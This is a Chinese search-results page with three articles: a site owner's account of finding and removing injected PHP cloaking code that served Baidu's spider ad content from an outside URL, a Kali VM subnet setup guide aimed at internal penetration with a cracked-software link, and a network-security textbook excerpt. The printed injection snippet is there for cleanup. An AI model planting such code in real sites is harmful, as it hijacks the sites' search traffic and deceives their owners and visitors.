首页> 搜索结果页
"htm网站如何渗透" 检索
共 7 条结果
网站被黑了被挂马篡改后我是如何解决网站被挂马!
1、发现被黑,网站被黑的症状       两年前自己用wordpress搭了一个网站,平时没事写写文章玩玩。但是前些日子,突然发现网站的流量突然变小,site了一下百度收录,发现出了大问题,网站被黑了。大多数百度抓取收录的页面title和description被篡改,如下图,title标题被改成xx友情链接,描述description是一些广告网址。但是点进去以后,访问正常,页面显示正常,页面源代码也正常,丝毫没有被篡改的痕迹。但是,为什么百度爬虫会抓取到这些广告文字呢,这些文字哪里来的? 2、自己猜想了一下原因,页面和百度抓取收录显示不一致。查服务器日志方案不可行。      网站实际页面和百度排虫收录显示不一致,网站源代码肯定被了,但怎么改的,改在哪里不知道,服务器里代码文件有几百个,一个个检查,一行行看源代码肯定不现实。首先想到了检查服务器日志。但是问题是不知道骇客哪天改的,所以只能调出了几个星期的服务器日志来检查。可是,检查日志也是庞大的工程,而且对此经验不足,也很费事,也不一定有结果。因此,只能又寻求新的办法。 3、找到了问题解决的关键路线,使用useragent-watch      页面内容没变,但百度排虫抓取错了,问题肯定出在爬虫抓取身上。所以如果能看到排虫抓取的整个流程,或许会会找到答案。一番研究之后,找到了一个工具“user-agent-switcher”,可以模拟各种设备和搜索引擎排虫,chrome和火狐浏览器都有插件可以安装。chrome安装useragent-watch之后,添加百度爬虫useragent 设置:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。如图。 其他搜索引擎useragent:http://hi.baidu.com/romicboy/item/afc8d8d217278d5bd63aae22      设置完以后,切换到模拟百度爬虫状态,再次访问我的网站,这次果然现原形了,网站这次跳到了另一个网站页面,这个页面内容就是,我网站在百度上显示的那些广告信息,如下图。再把useragent切换回来,输入我的网站域名,这次访问一切正常。这次可以下结论了,问题是在useragent上。骇客肯定修改了网站的源代码,而且是在源代码里加了判断语句,如果是当前请求的useragent是搜索引器爬虫,就把排虫引到把广告页面,如果是其他的就正常执行的。 4、找到被修改的源代码      虽然找到了问题原因,但是该怎么找到被修改的文件呢。不过,了解了wordpress源代码文件执行顺序流程,一切就很简单了,如下图,按照顺序一个个文件找很快就能找到。 登录到ftp,按照文件首先找到了index.php文件,果然,运气不错,第一个文件就是被修改的。骇客在代码最开始就添加了如下图的代码。 如果还是被反复篡改被入侵的话建议找专业做安全的来处理 Sine安全公司是一家专注于:服务器安全、网站安全、网站漏洞检测、网站安全测试、渗透测试服务 一体的网络安全服务提供商。 5、解释下这段php代码的意思: $file="http://www.XXXX.com/XXXX/X.htm"; $referer=$_SERVER["HTTP_REFERER"];//来路的网址url $agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//当前请求的内容转化成小写 if(strstr($referer,"baidu")&&strstr($referer,"456"))//如果是从百度点到该页的 {    Header("Location: $url");//转到原来的正常url } if(ereg("http://www.baidu.com/search/spider.htm",$agent))//如果是百度排虫 {         $content=file_get_contents($file);//转到之前定义的那个url页面         echo $content;         exit; }  把这一段删了,就ok了。重新提交百度,让百度重新抓取,过了几天百度快照更新就好了。
文章
数据采集 · 安全 · Web App开发 · 搜索推荐 · 网络安全 · 测试技术 · PHP · 索引
2018-06-07
5.如何使主机和虚拟机IP处于同一网段(内网渗透专用)
先说一下正常流程: 1.打开虚拟机网络设置选项,选择桥接模式(Bridged)【如果是Kali 2.0的话,执行第一步后就OK了(90%)】 2.打开Kali里面的网络设置 3.设置一个ip4或者ip6的网络 4.设置网络,具体看箭头,ip设置在同一个网段就好了,其他的跟pc设置一样的 重启一下就ok了 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 有些绿化版的vware不管怎么设置都不行,这时候安装新的虚拟机就ok了,我送一个:http://pan.baidu.com/s/1dDtu05F +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 上面处理都失败后再用下面的垂死挣扎~~~ 下面说一下就是不能在同一网段的情况处理(以后局域网欺骗什么的做铺垫)   为了避免出错,先存一份快照: ————————————————————————————————————————————————————————————————————————————————————————————————   一般处理:(有线设备未托管) 上面设置好了之后,在root权限下,输入如下代码   按 i 进入编辑模式,把managed设置为true,按 esc ,输入 :wq 回车并重启一下   极端处理:(先把上面的改成false) 1.先看pc的ip信息 2.再看设置完毕后的Kali的ip信息(192.168.196.142  XX 192.168.1.108)【不在同一网段】 3.进入虚拟机网络设置那边,在虚拟机设置中设置中生成虚拟机物理地址 4.用vi打开interfaces,编辑一下IP地址 vi /etc/network/interfaces 5.按 i 进入编辑模式,修改成如图的样式,waddress ether 就是刚才生成的虚拟机物理地址,按 esc ,然后输入 :wq,再回车一下   6.输入指令重新启用一下网卡 /etc/init.d/network-manager restart   7.再看一下虚拟机ip信息(ok了,和pc在一个网段了)     如果还没用的话。。。。。。。恢复一下快照,然后上网继续淘方法吧(我参考的网站如下),我只能帮到这了。。。。。。。 http://wenku.baidu.com/view/8d89eb0eeff9aef8941e06c3.html http://tieba.baidu.com/p/1433645975 http://www.linuxidc.com/Linux/2010-08/27495.htm http://skytina.blog.51cto.com/6834539/1381917 http://jingyan.baidu.com/article/08b6a591c5c7eb14a909224a.html http://www.backtrack.org.cn/thread-16931-1-1.html 你可以把你解决的方法留下,反正大家都是共享经验的~~~
文章
2016-05-09
带你读《网络防御与安全对策:原理与实践(原书第3版)》之一:网络安全概述
网络空间安全学科规划教材点击查看第二章点击查看第三章网络防御与安全对策:原理与实践(原书第3版)Network Defense and Countermeasures: Principles and Practices, Third Edition [美] 查克·伊斯特姆 (Chuck Easttom) 著刘海燕 等译 第1章  网络安全概述本章目标在阅读完本章并完成练习之后,你将能够完成如下任务: 识别出最常见的网络风险。 理解基本的组网技术。 使用基本的安全术语。 找到适合自己所在机构网络安全的最佳方法。 评估影响网络管理员工作的法律问题。 使用可用于网络安全的资源。 1.1 引言 在新闻中,很难发现哪一周没有发生重大安全破坏。大学网站被攻击、政府计算机被攻击、银行数据受损、健康信息被泄露—这个清单还在不断增长。而且似乎每年对这个问题的关注都在增加。在任何工业化国家中,很难找到没听说过诸如网站被黑客入侵和身份被盗之类事情的人。目前培训场所也有很多。许多大学都提供从学士层次到博士层次的信息保障(Information Assurance)学位。有大量的行业认证培训项目,包括CISSP(Certified Information Systems Security Professional,注册信息系统安全专家)、国际电子商务顾问委员会(EC Council)的CEH(Certificated Ethical Hacker,道德黑客认证)、Mile2Security、SANS(System Administration, Networking, and Security Institute,美国系统网络安全协会)认证以及美国计算机行业协会(Computing Technology Industry Association,CompTIA)的Security+。现在还有一些大学提供网络安全学位,包括远程学习的学位。尽管受到媒体的关注和有获得安全培训的机会,但仍有太多的计算机专业人员,包括数量惊人的网络管理员,对网络系统暴露的威胁类型以及哪些是最有可能发生的威胁没有清晰的认识。主流媒体关注的是最引人注目的计算机安全破坏,而不是给出最有可能的威胁场景的准确画面。本章着眼于网络面临的威胁,定义基本的安全术语,为后续章节涉及的概念奠定基础。确保你的网络完整性和安全性所需的步骤条理清晰,并在很大程度上进行了概括。当你学完本书时,你将能够识别最常见的攻击,解释攻击的机理以便阻止它们,理解如何确保数据传输的安全。 1.2 网络基础 在深入研究如何保护网络安全之前,探索一下什么是网络可能是个不错的想法。对许多读者来说,本节内容仅仅是一次复习,但对于部分读者来说可能是新的知识。无论对你来说是复习还是新的知识,在深入研究网络安全之前,对基本的组网原理有透彻的理解都是至关重要的。此外请注意,这里只是对基本网络概念的简要介绍,没有探究更多细节。网络是计算机进行通信的一种方式。在物理层,网络由所有要连接的机器和用来连接它们的设备组成。独立的机器可通过物理连接(一根5类电缆插入网络接口卡,即NIC)或通过无线方式连接起来。为了将多台机器连接在一起,每台机器必须连接到集线器或交换机,然后这些集线器/交换机再连接在一起。在更大的网络中,每个子网络通过路由器连接到其他子网络。本书中的许多攻击(包括第2章介绍的几种攻击),都是针对网络中将机器连接起来的设备(即路由器、集线器和交换机)发起的。如果你发现本章的知识不够用,那么下述资源可能会有所帮助:http://compnetworking.about.com/od/basicnetworkingconcepts/Networking_Basics_Key_Concepts_in_Computer_Networking.htm 。 1.2.1 基本网络结构 在你的网络和外部世界之间一定存在一个或几个连接点。在网络和Internet之间建立一个屏障,这通常以防火墙的形式出现。本书讨论的许多攻击都要穿越防火墙并进入网络。网络的真正核心就是通信—允许一台机器与另一台机器进行通信。然而,通信的每条通道也是一条攻击的通道。因此,理解如何保护网络的第一步,就是详细了解计算机如何通过网络进行通信。前面提到的网卡、交换机、路由器、集线器以及防火墙都是网络基本的物理部件,它们连接的方式以及通信的格式就是网络体系结构。 1.2.2 数据包 当你与网络建立连接之后(无论是物理连接还是无线连接),就可以发送数据了。第一件事就是确定你想发送到哪里。我们先讨论IPv4的地址,在本章稍后部分再看一下IPv6。所有的计算机(以及路由器)都有一个IP地址,该地址由四个0到255之间的数字组成,中间以圆点分隔,例如192.0.0.5(注意这是一个IPv4地址)。第二件事是格式化要传输的数据。所有数据最终都采用二进制形式(多个1和0组成)。这些二进制数据被放入数据包(packet)中,总长度要小于大约65 000字节。前几个字节是首部(header)。首部内容说明数据包去往哪里、来自何方、本次传输还有多少个包。实际上,数据包有多个首部,但现在我们仅把首部作为单个实体来讨论。我们将研究的一些攻击(例如,IP欺骗)会试图改变首部以提供虚假信息。其他的攻击方法则只试图截获数据包并读取其内容(从而危害数据的安全)。一个数据包可以有多个首部。事实上,大多数数据包至少有三个首部。IP首部包含源IP地址、目标IP地址以及数据包的协议等信息。TCP首部包含端口号等信息。以太网首部则包含源MAC地址和目的MAC地址等信息。如果一个数据包用传输层安全(Transport Layer Security,TLS)进行加密,那么它还将有一个TLS首部。 1.2.3 IP地址 第一个要理解的主要问题是如何将数据包送到正确的目的地。即使是一个小型网络,也存在许多计算机,它们都有可能是发送数据包的最终目的地,而Internet上有数百万台遍布全球的计算机。如何保证数据包到达正确的目的地呢?这个问题就像写封信并确保信件能到达正确的目的地一样。我们从IPv4寻址开始讨论,因为它是目前使用最普遍的,但本节也会简要讨论一下IPv6。一个IPv4地址是用圆点分隔的由4个数字组合的数字序列(例如107.22.98.198)。每个数字必须在0到255之间。可以看到,107.22.98.466就不是一个有效的地址。之所以有这个规则,是因为这些地址实际上是4个二进制数,计算机用十进制格式把它们简单地显示出来。回想一下,1字节是8位(1和0的组合),而8位二进制数转换成十进制格式后将在0到255之间。总共32位则意味着大约存在42亿个可能的IPv4地址。计算机的IP地址可以告诉你该台计算机的很多信息。地址中的第一个字节(或第一个十进制数)告诉你该机器属于哪一类网络。表1-1概括了5种网络类别。 这5种网络类别在本书后面将变得更加重要(或者,现在你应该决定在更深的层次上学习网络)。仔细观察表1-1,你可能会发现127的IP范围没有被列出来,之所以存在这种省略,是因为该范围是被保留用于测试的。不管你的机器被指定为什么IP地址,地址127.0.0.1都是指你自己正在使用的这台机器。这个地址常被称为环回地址(loopback address),常用于测试你的计算机和网卡。我们将在本章稍后的网络实用程序部分讨论它的用法。这些特定的地址分类很重要,因为它告诉你,地址的哪些部分代表网络、哪些部分代表节点。例如,在A类地址中,第一个8位的字节代表网络,其余三个表示节点。在B类地址中,前两个8位的字节代表网络,后两个表示节点。而在C类地址中,前三个8位的字节代表网络,最后一个代表节点。你还需要注意一些特殊的IP地址和IP地址范围。第一个是如前所述的127.0.0.1,即环回地址。它是引用你正在使用的机器网卡的另一种方法。另一个需要注意的问题是私有(private)IP地址。IP地址中某些特定范围被指定仅用于网络内部。这些地址不能用作公开的IP地址,但可以用作内部工作站或服务器的地址。这些IP地址包括: 10.0.0.10到10.255.255.255 172.16.0.0到172.31.255.255 192.168.0.0到192.168.255.255 网络新人有时对公有IP地址和私有IP地址的理解有些困难。我们以办公楼做个类比:在一栋办公楼内,每个办公室的编号必须是唯一的。例如,在一栋大楼里只能有一个305办公室。如果讨论305办公室,你马上就明白说的是哪个房间。但还有其他的办公楼,许多楼都有自己的305办公室。因此,你可以将私有IP地址视为办公室编号,在它们所在的网络中它们的编号必须是唯一的,但在其他网络中可能有相同的私有IP。公有IP地址更像传统的邮件地址,它们在世界范围内必须是独一无二的。当从办公室到办公室通信时,你可以使用办公室号码,但是要给另一个建筑物发信,你必须使用完整的邮件地址。这与网络是一样的,你可以使用私有IP地址在网络内部进行通信,但要与网络外部的任何计算机进行通信时,都必须使用公有IP地址。网关路由器的作用之一是执行所谓的网络地址转换(Network Address Translation,NAT)。通过NAT,路由器将发出的数据包中的私有IP地址替换为网关路由器的公有IP地址,从而可以在Internet中路由该数据包。我们已经讨论了IPv4网络地址,现在把注意力转移到划分子网上。如果你已经熟悉这个主题,那么请跳过本节。由于某种原因,这个话题往往会给学生带来很大麻烦。所以下面我们从理解概念开始。所谓划分子网(subnetting)就是简单地将网络切成更小的部分。例如,如果你拥有一个使用IP地址192.168.1.X的网络(X代表任何具体计算机的地址),那么你已经被分配了255个可能的IP地址。如果想把它分成两个单独的子网络怎么办呢?你需要做的就是划分子网。说得更专业一点,子网掩码(subnet mask)是分配给每个主机的一个32位数字,用于将32位二进制的IP地址划分为网络部分和节点部分。子网掩码不能随意指定,有特定的要求。子网掩码的第一个值必须是255,剩下的三个值可以是255、254、252、248、240、224或128。你的计算机把自己的IP地址和子网掩码通过二进制“AND”操作(二进制的“按位与”)结合起来。你可能会很奇怪,因为即使你没有划分过子网,也已经拥有了一个子网掩码。这是默认子网掩码。如果你有一个C类IP地址,那么子网掩码是255.255.255.0。如果有一个B类IP地址,那么子网掩码是255.255.0.0。而如果是A类地址,则子网掩码是255.0.0.0。现在考虑一下这些数字与二进制数的关系。十进制255转化为二进制是11111111。所以,默认情况下,你实际上仅掩住(masking)了地址中用于定义网络的那部分,而其余部分都用于定义单个节点。现在如果你想使子网中的节点数少于255,那么你需要一个类似于255.255.255.240这样的子网掩码。将240转换为二进制是11110000,这表示前三个字节以及最后一个字节的前4位定义了网络,而最后字节的后4位定义了节点。这就意味着在这个子网络上最多可以有1111(二进制)个或15(十进制)个节点。这就是划分子网的本质。划分子网这种方式,仅允许你使用某些受限的子网。另一种方式是CIDR,即无分类域间路由(Classless Inter Domain Routing,CIDR)。CIDR不是定义子网掩码,而是使用IP地址后面跟随一个斜线(/)和一个数字的方式。该数字可以是0到32之间的任何数字,这时的IP地址格式如下:192.168.1.10/24(一个基本的C类IP地址)192.168.1.10/31(一个C类 IP地址,附带子网掩码)当你使用这种方式而不是使用子网时,你有可变长子网掩码(Variable-Length Subnet Masking,VLSM),它能提供无类别区分的IP地址。这是当今定义IP地址最常用的方式。你不用担心新的IP地址是否很快就会用尽。IPv6标准已经投入使用,并且已经有了扩展使用IPv4地址的方法。IP地址分为两类:公共和私有。公有IP地址用于连接到Internet的计算机。公有IP地址必须互不相同。而私有IP地址,例如公司私有网络上的IP地址,只需在该网络中是唯一的即可。不用理会世界上是否有其他的计算机也有相同的IP地址,因为这台计算机从来不会连接到那些其他的计算机。网络管理员通常使用以10开始的私有IP地址,如10.102.230.17。其他的私有IP地址有172.16.0.0至172.31.255.255和192.168.0.0至192.168.255.255。此外还要注意,Internet服务提供商(Internet Service Provider,ISP)经常会购买一个公有IP地址池(pool),并在你登录时将它们分配给你。因此,ISP可能有1000个公有IP地址,但拥有10 000个客户。因为10 000个客户不会同时在线,ISP在客户登录时将IP地址分配给他,而在客户注销时回收IP地址。IPv6使用128位地址(而不是32位),并使用十六进制编号的方法,以避免像132.64.34.26.64.156.143.57.1.3.7.44.122.111.201.5这种长地址。十六进制地址格式类似于3FFE:B00:800:2::C的形式。这给了你2128个可用的地址(数万亿个地址),因此在可以预见的未来,不可能会耗尽IP地址。IPv6中不再划分子网。相反,它只使用CIDR。地址中的网络部分由斜线后面跟随的数字指定,这个数字表示地址中分配给网络部分的位(bit,也称为比特)数,如“/48”“/64”等。IPv6中有一个环回地址,可以写成::/128。IPv4和IPv6之间的其他区别描述如下:本地链路/机器地址。 这是IPv4自动专用IP寻址(Automatic Private IP Addressing,APIPA)的IPv6版本。如果机器配置为使用动态分配地址,但不能与DHCP服务器通信,那么它为自己分配一个通用的IP地址。其中,动态主机配置协议(Dynamic Host Configuration Protocol,DHCP)用于动态地为网络内的主机分配IP地址。 IPv6的本地链路/机器的IP地址都以FE80::开始。因此,如果你的计算机使用这样的地址,那么意味着它不能到达DHCP服务器,故而构造了自己的通用IP地址。 本地站点/网络地址。 这是IPv4私有地址的IPv6版本。换句话说,它们是真实的IP地址,但只能在本地网络上工作,在Internet上是不能路由的。 所有的本地站点/网络的IP地址都以FE开头,并且第三个十六进制数字是C到F之间的数字,即FEC、FED、FEE或FEF。 DHCPv6使用托管地址配置标志(managed address configuration flag),即M标志。 当该标志为1时,表示设备应该使用DHCPv6获得一个有状态(stateful)的IPv6地址。 其他状态配置标志(O标志)。 当该标志设置为1时,表示设备应该使用DHCPv6来获得其他的TCP/IP配置。换句话说,它应该使用DHCP服务器来设置诸如网关及DNS服务器的IP地址之类的信息。 1.2.4 统一资源定位符 对于大多数人来说,上网的主要目的是浏览网页(但也有其他目的,比如收发电子邮件和下载文件)。如果你必须记住IP地址并输入这些地址,那么网上冲浪将是件非常麻烦的事。幸运的是,你不必这么做,你只需键入对人类而言有意义的域名,而域名被翻译成IP地址。例如,你可以输入www.chuckeasttom.com 来访问我的网站。你的计算机或ISP将你输入的名称,即统一资源定位符(Uniform Resource Locator,URL),转换为IP地址。DNS(Domain Name Service,域名服务)协议处理该转换过程,DNS协议稍后将在表1-2中与其他的协议一起介绍。因此,你输入一个对人类而言有意义的名称,但你的计算机使用相应的IP地址进行连接。如果找到该地址,浏览器将发送一个数据包(使用HTTP协议)到它的TCP 80端口。如果目标计算机有软件监听并响应这个请求,如Apache或微软的IIS(Internet Information Services,Internet信息服务)之类的Web服务器软件,那么目标计算机将响应浏览器的请求并与之建立通信。这就是查看网页的方法。如果你收到错误提示“Error 404: File Not Found”,那是因为浏览器收到了一个从Web服务器返回的包含错误代码404的数据包,表示它找不到你所请求的网页。Web服务器可以向Web浏览器发送一系列错误消息,指示不同的出错情况。电子邮件的工作方式与访问网站的方式相同。你的邮件客户端查找邮件服务器的地址,然后使用POP3(Post Office Protocol version 3,邮局协议版本3)协议检索入站的电子邮件,或使用SMTP(Simple Mail Transport Protocol,简单邮件传输协议)协议向外发送电子邮件。邮件服务器(可能位于你的ISP或你的公司里)将尝试解析发送地址。例如,如果发送一封邮件到chuckeasttom@yahoo.com,你的邮件服务器首先把邮件地址转换为yahoo.com的邮件服务器的IP地址,然后再将邮件发送给那里。请注意,尽管已经有了更新的邮件协议,但POP3仍然是最常用的协议。因特网消息访问协议IMAP(Internet Message Access Protocol,IMAP)现在用得也很广泛,它使用143端口。与POP3相比,IMAP的主要优点是它允许客户端仅把邮件首部下载到本地机器上,然后可以选择要完整下载哪些消息,这个功能对智能手机来说特别有用。 1.2.5 MAC地址 MAC地址(Media Access Control address,媒体访问控制地址)是一个很有趣的话题。注意,MAC也是指OSI模型的数据链路层的子层。MAC地址是网卡的唯一地址。世界上的每块网卡都有一个唯一的地址,用6字节的十六进制数表示。地址解析协议(Address Resolution Protocol,ARP)用于将IP地址转换为MAC地址。因此,当你输入网站地址时,DNS协议将其转换为IP地址,然后ARP协议将IP地址转换为单个网卡特定的MAC地址。 1.2.6 协议 不同的目的需要不同类型的通信。不同类型的网络通信称为协议(protocol)。协议本质上是一种约定的交流方法。事实上,该定义恰是protocol这个词在标准的、非计算机使用中的用法。每个协议都有特定的目的,并且通常在某个端口上运行(有的需要多个端口)。表1-2列出了一些重要的协议。 你可能已经注意到,这个列表并不完整,还有数百个其他的协议,但对本书来说讨论这些就足够了。所有这些协议都是TCP/IP协议族的一部分。你要明白的最重要的一点是,网络上的通信是通过数据包(packet)实现的,而这些数据包要根据当前的通信类型按照某些协议进行传送。你可能想知道什么是端口(port)。不要将这种类型的端口与计算机背后的连接接口,如串口或并口相混淆。网络术语中的端口是一个句柄、一个连接点,是一个指派给特定通信路径的数字。所有网络通信,不管使用什么端口,都通过网卡连接进入你的计算机。可以把端口看作电视的一个频道,可能只有一个电缆进入电视,但却可以观看许多频道。所以,类比一下只有一个电缆进入计算机,但可以在许多不同的端口上进行通信。至此,我们形成了关于网络的概貌:网络是由机器通过电缆互连而成的,有的机器可能接入集线器、交换机或路由器,网络使用某些协议和端口在数据包中传输二进制信息。这是对网络通信的一个很精确的刻画,尽管非常简单。 1.3 基本的网络实用程序 在IP地址和URL之后,还需要熟悉一些基本的网络实用程序。你可以在命令提示符下(Windows系统)或shell中(UNIX/Linux系统)执行一些网络实用程序。许多读者已经熟悉了Windows,因此本书将集中讨论如何在Windows命令提示符下执行命令。但必须强调的是,这些实用工具在所有操作系统中都可用。本节介绍几个基本的或常用的实用程序。 1.3.1 ipconfig 你想要做的第一件事是获取关于自己系统的信息。要完成这个任务,必须首先获得命令提示符。在Windows中,可以通过[开始/所有程序/附件]操作获得命令提示符;也可以通过[启动/运行]并输入“cmd”来获得命令提示符。在Windows 10中,可以在“搜索”框中输入“cmd”来获得命令提示符。在命令提示符下,输入ipconfig。在UNIX或Linux的shell中,也可以输入ifconfig来使用该命令。输入ipconfig(Linux中输入ifconfig)后,应该会看到类似于图1-1所示的内容。 该命令提供有关网络连接的一些信息,其中最重要的是找出自己的IP地址。该命令还显示默认网关的IP地址,它是你与外部世界的连接点。运行ipconfig命令是确定系统网络配置的第一步。本书提到的大多数命令(包括ipconfig)都有许多参数或标志,它们传递给命令从而使计算机以某种方式工作。要想弄清这些命令,你可以输入命令后跟一个空格,然后再输入连字符及问号“-?”即可。如你所见,你可以使用多个选项来找出关于计算机配置的不同细节。最常用的方法可能是使用ipconfig /all,如图1-2所示。可以看到,使用这个选项显示了更多信息。例如,ipconfig /all可以显示计算机的名称、计算机什么时间获得IP地址等。 1.3.2 ping 另一个常用的命令是ping。ping命令向一台机器发送测试数据包,或者叫作回声(echo)数据包,以查看该机器是否可到达,以及数据包到达该机器需要多长时间。图1-3展示了该命令。图中信息显示,一个32字节的回声数据包被发送到目的地并返回。其中的“TTL”表示“生存时间”(Time To Live,TTL),它的时间单位是数据包在放弃传送之前到达目的地最多经过多少中间步骤,或者是多少跳(hop)。由于Internet是一个庞大的相互连接的网络,你的数据包可能不会直接送达目的地,而是要经过数跳才能到达。与ipconfig一样,你可以输入“ping -?”来找到各种细化ping命令的方法。 1.3.3 tracert 下一个要研究的命令是tracert。这个命令有点像豪华版的ping。tracert不仅告诉你数据包是否到达目的地以及它花了多长时间,而且还告诉你所有的中间跳。同样的命令在Linux或UNIX中也存在,但它叫traceroute而不是tracert。图1-4展示了这个实用程序。使用tracert命令可以列出每个中间步骤的IP地址,以及到达该步骤所花费的时间(以毫秒为单位)。知道到达目的地所需的步骤是很重要的。如果你使用Linux,那么请使用traceroute命令而不是tracert。 1.3.4 netstat netstat是另一个很有趣的命令。它是Network Status(网络状态)的缩写。基本上,这个命令会告诉你当前计算机有什么连接。如果你看到有好几个连接,不要惊慌,因为这并不意味着你的电脑被黑客攻击。你会看到有许多私有IP地址,这表示你的网络有正在进行的内部通信。在图1-5中可以看到这一点。 当然,在使用网络通信时还有其他的实用程序也可能对你有所帮助,但上面介绍的这四个是核心的实用程序。它们(ipconfig、ping、tracert和netstat)对每个网络管理员来说绝对是必不可少的,你应该牢牢记住它们。 1.4 OSI模型 开放系统互连(Open Systems Interconnect,OSI)模型描述了网络如何通信,参见表1-3。它描述了各种协议和活动,并说明协议和活动是如何相互关联的。OSI模型分为七层,它最初是由国际标准化组织(International Organization for Standardization,ISO)在20世纪80年代开发的。 许多学习网络的学生都会记住这个模型。至少,记住七层的名字并基本理解每一层的作用。从安全的角度看,你对网络通信理解得越多,你的安全防御等级就越高。对于OSI模型,你要理解的最重要的事情是,此模型描述了一个通信的分层结构,其中每一层仅与直接在其上方或下方的层进行交流。 1.5 对安全意味着什么 本书从多个角度介绍安全,但本质上只存在三种攻击聚集点,因而也只有三种安全聚集点(注意,这里不是指攻击途径,因为存在很多攻击途径): 数据本身:数据离开你的网络之后,数据包很容易被侦听甚至被篡改。在本书后面讨论加密和虚拟专用网时,你将学习如何保护这些数据。当数据在计算机上存储时,它也可能在静止情况下被攻击。 网络连接点:无论是路由器还是防火墙,一台计算机连接到另一台计算机之间的任何位置都是可能被攻击的位置,因此也是必须防御的位置。在考察系统的安全性时,应该首先考察连接点。 人员:人员经常会带来安全隐患。由于无知或恶意目的,或者由于简单的错误,系统上的人员都可能危及系统的安全。 当你对本书进一步学习时,不要忽视了我们的基本目标,那就是保护网络以及存储和传输数据的安全。 1.6 评估针对网络的可能威胁 在探索计算机安全话题之前,你必须首先对系统面临的威胁形成现实的评估。其中的关键词是“现实的”(realistic)。显然,人们可以想象出某个非常精细、技术高超的潜在危险。然而,作为一名网络安全专业人员,你必须将精力以及资源集中到最可能的危险上。在深入研究具体的危险之前,我们首先了解你的系统上可能面临什么类型的攻击。在这方面,针对计算机安全似乎有两种极端的态度。第一个观点认为,计算机系统几乎没有真正的危险或威胁,许多负面新闻仅仅是一种无根据的恐慌的反映。持这种态度的人通常认为,只要采取很少的安全措施就应该能确保其系统的安全。不幸的是,一些处于决策位置的人持有这种观点。这些人的普遍观点是:“如果我们的计算机/机构迄今为止没有受到攻击,那么我们一定是安全的。”这种观点常常导致被动地对待计算机安全,也就是说,人们等到事件发生后才决定解决安全问题。等到攻击发生时才解决安全问题可能为时已晚。在最好的情况下,这种安全事件可能仅对机构造成轻微的影响,比如一个紧急唤醒电话。在不太幸运的情况下,一个机构可能面临严重的或许灾难性的后果。例如,一些机构在WannaCry病毒攻击它们的系统时,没有有效的网络安全系统抵御攻击。事实上,如果系统已经打补丁,那么WannaCry攻击可以完全避免。必须避免这种对安全放任自流的方法。任何拥有这种极端并且错误观点的机构都可能在计算机安全方面几乎不投入时间和资源。他们或许有一个基本的防火墙和防病毒软件,但很可能几乎没有花费精力来确保这些东西被正确地配置或进行定期的更新。第二种观点认为,技术精湛的黑客可以随意穿越你的系统,并让你的网络瘫痪。把黑客技能想象成军事经验。找一个曾经在军队中的人并不难,但不容易碰到一个在三角洲部队或海豹6队的人。虽然军事经验相当普遍,但高水平的特种作战技能却并不常见。黑客技能也是如此。找到了解一些黑客技巧的人很容易,但找到真正熟练的黑客远没有那么轻松。实践中:现实世界中的安全每当我受邀完成一些咨询或培训任务时,都会看到许多不同的网络环境。从这些经历中,我逐渐得出这样的观点,即绝大部分机构对计算机安全都采取了非常不严谨的方法。下面是我认为的对安全采取不严谨行为的例子: 公司没有任何类型的入侵检测系统(第5章介绍) 公司没有足够的防病毒/防间谍软件(第10章介绍) 公司的备份介质不安全(第11章介绍) 公司没有打补丁的规划(第8章介绍) 这些仅仅是机构没有以适当方式处理网络安全的几个例子。在网络安全观点的另一端,一些管理人员高估了安全威胁。他们认为,存在大量非常有天赋的黑客,这些黑客都是系统迫在眉睫的威胁。事实上,许多自称黑客的人比他们自认为的懂得要少。即使是中等强度安全防范的系统,被这种技能级别的黑客所破坏的可能性也很低。这并不意味着不存在高水平的黑客。这样的人当然存在。但是,有能力攻入相对安全系统的人,必须使用相当耗时和烦琐的技术来突破系统的安全防线。这些黑客还必须权衡攻击任务的代价和收益。熟练的黑客倾向于无论在经济上还是在意识形态上都有高收益的目标系统。如果一个系统看起来没有足够的收益,熟练的黑客不太可能会花费资源来攻击它。以窃贼作一个很好的类比:高技能的窃贼确实存在,但他们通常寻求高价值目标,以小型企业和家庭为目标的窃贼通常技能都有限。对黑客而言也是如此。供参考:技能型黑客与非技能型黑客技能型黑客通常只瞄准非常具有吸引力的站点。这些站点提供有价值的信息或宣传效果。军用计算机—即使是没有机密信息的非常简单的Web服务器—也能提供很强的宣传效果。另一方面,银行通常拥有非常有价值的信息。新手黑客通常从一个低价值的、本身不太安全的系统开始。低价值系统可能没有任何有重大价值的数据或不能提供好的宣传效果,大学的Web服务器就是一个很好的例子。虽然新手黑客的技能不如老手,但数量更多。此外,金钱方面的收益并不是系统对黑客高手具有吸引力的唯一因素。如果黑客反对一个机构的意识形态立场(例如,如果一个机构出售大型运动型多用途车,而黑客认为这是糟糕的环境政策),那么他可能会把该机构的系统作为攻击目标。对计算机系统危害的这两种极端态度都是不准确的。确实存在有的人既理解计算机系统,又拥有攻击很多系统(即使不是大多数系统)安全性的技能。然而,也确实许多自称黑客的人并不像他们声称地具有那么娴熟的技能。他们从Internet上得知一些流行词,并确信自己拥有超强数字能力,但却不能对即使中等安全程度的系统进行任何攻击。你可能会认为,慎之又慎或者极度勤勉应该是合适的方法。实际上,你不需要采取极端的观点。你应该采取现实的安全观点,制定切实可行的防御策略。每个机构和IT部门都仅有有限的资源:你只有这么多的时间和金钱。如果浪费部分资源来防止不现实的威胁,那么你可能没有足够的资源用于更实际的项目。因此,对网络安全采取现实的方式是唯一切实可行的方法。你或许奇怪,为什么有些人会高估他们网络的危险。至少在部分程度上,答案可以归结于黑客社区的本质和媒体的宣传。此外,Internet上充斥着声称拥有高超黑客技能的人。实际上,像人类工作的任何领域一样,绝大多数人仅是平均水平。真正有天赋的黑客并不比真正有天赋的音乐会钢琴家更常见。想想有多少人在他们一生中的某个阶段都学过钢琴课程,可又有多少人真正成为艺术家。对计算机黑客而言也是如此。请记住,即使是那些拥有必备技能的人,也需要具有动机去花费必要的时间和精力来破坏系统。当遇到任何声称拥有网络神力的人,不要忘记上述事实。许多自称黑客的人缺乏真实技能的说法并非基于任何研究或调查。关于这个话题进行可靠的研究是不可能的,因为黑客不太可能现身并参加技能测试。我基于以下两点考虑得出了上述结论: 第一点是依据这些年我在黑客讨论组、聊天室和公告板浏览的经验。在该领域20多年的工作中,我遇到过有天赋的、技术精湛的黑客,但我遇到更多的是自称黑客但明显缺乏足够技能的人。我也常在黑客大会上演讲,包括DEFCON大会,并在黑客杂志如《2600》上发表文章。我有机会与黑客社区进行广泛的互动。 